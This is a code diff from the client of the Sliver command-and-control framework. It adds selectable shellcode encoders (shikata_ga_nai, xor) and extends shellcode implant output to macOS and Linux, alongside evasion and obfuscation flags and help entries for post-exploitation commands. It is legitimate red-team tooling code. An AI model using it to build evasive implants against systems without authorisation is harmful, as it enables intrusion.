f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("name", "n", "", "Implant name")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesGenerateCmd)
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("debug-file", "O", "", "path to debug output")
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
@@ -341,7 +343,46 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
// Shellcode generation options:
// - Windows: Donut
// - macOS: beignet
// - Linux: malasada
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
// Backwards-compatible deprecated Donut flags (hidden).
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
_ = f.MarkHidden("donut-entropy")
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
_ = f.MarkHidden("donut-compress")
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
_ = f.MarkHidden("donut-exitopt")
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
_ = f.MarkHidden("donut-bypass")
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
_ = f.MarkHidden("donut-headers")
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
_ = f.MarkHidden("donut-thread")
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
_ = f.MarkHidden("donut-unicode")
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
_ = f.MarkHidden("donut-oep")
})
}
@@ -354,6 +395,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
+388 -22
View File
@@ -28,6 +28,7 @@ import (
"os/signal"
"path/filepath"
"runtime"
"sort"
"strconv"
"strings"
"time"
@@ -79,6 +80,7 @@ var (
"darwin/arm64": true,
"linux/386": true,
"linux/amd64": true,
"linux/arm64": true,
"windows/386": true,
"windows/amd64": true,
}
@@ -353,7 +355,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isSharedLib := false
isService := false
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
@@ -377,8 +378,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
sgnEnabled = !sgnEnabled
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
@@ -395,9 +394,28 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
if targetOS == "" || targetArch == "" {
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return "", nil
if configFormat == clientpb.OutputFormat_SHELLCODE {
switch targetOS {
case "windows":
// Server-side implementation supports amd64 and 386 only.
if targetArch != "amd64" && targetArch != "386" {
con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
return "", nil
}
case "darwin":
if targetArch != "arm64" {
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
return "", nil
}
case "linux":
if targetArch != "amd64" && targetArch != "arm64" {
con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
return "", nil
}
default:
con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
return "", nil
}
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
@@ -409,6 +427,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return "", nil
}
shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
var tunIP net.IP
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -446,6 +477,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
ShellcodeEncoder: shellcodeEncoder,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
@@ -480,11 +512,272 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
ShellcodeConfig: shellcodeConfig,
}
return name, config
}
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
if !cmd.Flags().Changed("shellcode-entropy") {
shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
}
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
if !cmd.Flags().Changed("shellcode-compress") {
shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
}
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
if !cmd.Flags().Changed("shellcode-exitopt") {
shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
}
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
if !cmd.Flags().Changed("shellcode-bypass") {
shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
}
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
if !cmd.Flags().Changed("shellcode-headers") {
shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
}
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
if !cmd.Flags().Changed("shellcode-thread") {
shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
}
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
if !cmd.Flags().Changed("shellcode-unicode") {
shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
}
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
if !cmd.Flags().Changed("shellcode-oep") {
shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
}
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-compress") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
if configFormat != clientpb.OutputFormat_SHELLCODE {
if anyChanged {
con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
}
return nil, nil
}
windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
// macOS and Linux shellcode currently only support compression.
if targetOS != "windows" {
if targetOS != "darwin" && targetOS != "linux" {
// parseCompileFlags normally blocks this, but keep a safe fallback.
if anyChanged {
con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
}
return nil, nil
}
if windowsOnlyChanged {
if targetOS == "darwin" {
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
} else {
con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
}
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Compress: shellcodeCompress,
}, nil
}
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, nil
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if configFormat != clientpb.OutputFormat_SHELLCODE {
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
}
return clientpb.ShellcodeEncoder_NONE, nil
}
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
@@ -963,12 +1256,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
fileData := generated.File.Data
if config.IsShellcode {
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
return nil, err
}
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
err = os.WriteFile(saveTo, fileData, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -1015,22 +1354,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
fileData := generated.File.Data
if config.IsShellcode {
if !config.SGNEnabled {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
} else {
con.Printf("success!\n")
fileData = resp.GetData()
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
con.PrintErrorf("%s\n", msg)
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
}
}
+43 -12
View File
@@ -2,6 +2,7 @@ package generate
import (
"context"
"errors"
"fmt"
"strings"
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
}
data = generated.GetFile().GetData()
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := profile.Config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
}
data = encodeResp.Data
}
}
data = encodeResp.Data
}
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+36 -3
View File
@@ -20,8 +20,10 @@ package generate
import (
"os"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
// Override shellcode encoder if explicitly requested.
if cmd.Flags().Changed("shellcode-encoder") {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if rawEncoder == "" {
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
return
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
profile.Config.SGNEnabled = false
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
} else {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
return
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
if len(compatible) == 0 {
con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
} else {
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
}
return
}
profile.Config.ShellcodeEncoder = encoder
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, save, con)
if err != nil {
+17 -6
View File
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["obsymbols"] = "disabled"
}
if config.SGNEnabled {
properties["sgn"] = "enabled"
} else {
properties["sgn"] = "disabled"
properties["shellcodeencoder"] = "n/a"
if config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := config.ShellcodeEncoder
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_NONE: "none",
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if properties["shellcodeencoder"] == "" {
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
}
}
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
properties["obsymbols"],
})
tw.AppendRow(table.Row{
"Shikata Ga Nai (SGN) is",
properties["sgn"],
"Shellcode encoder is",
properties["shellcodeencoder"],
})
con.PrintInfof("Obfuscation\n")
+128 -34
View File
@@ -47,38 +47,45 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -129,6 +136,7 @@ var (
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
arguments are be separated from the sliver 'execute' arguments with '--'
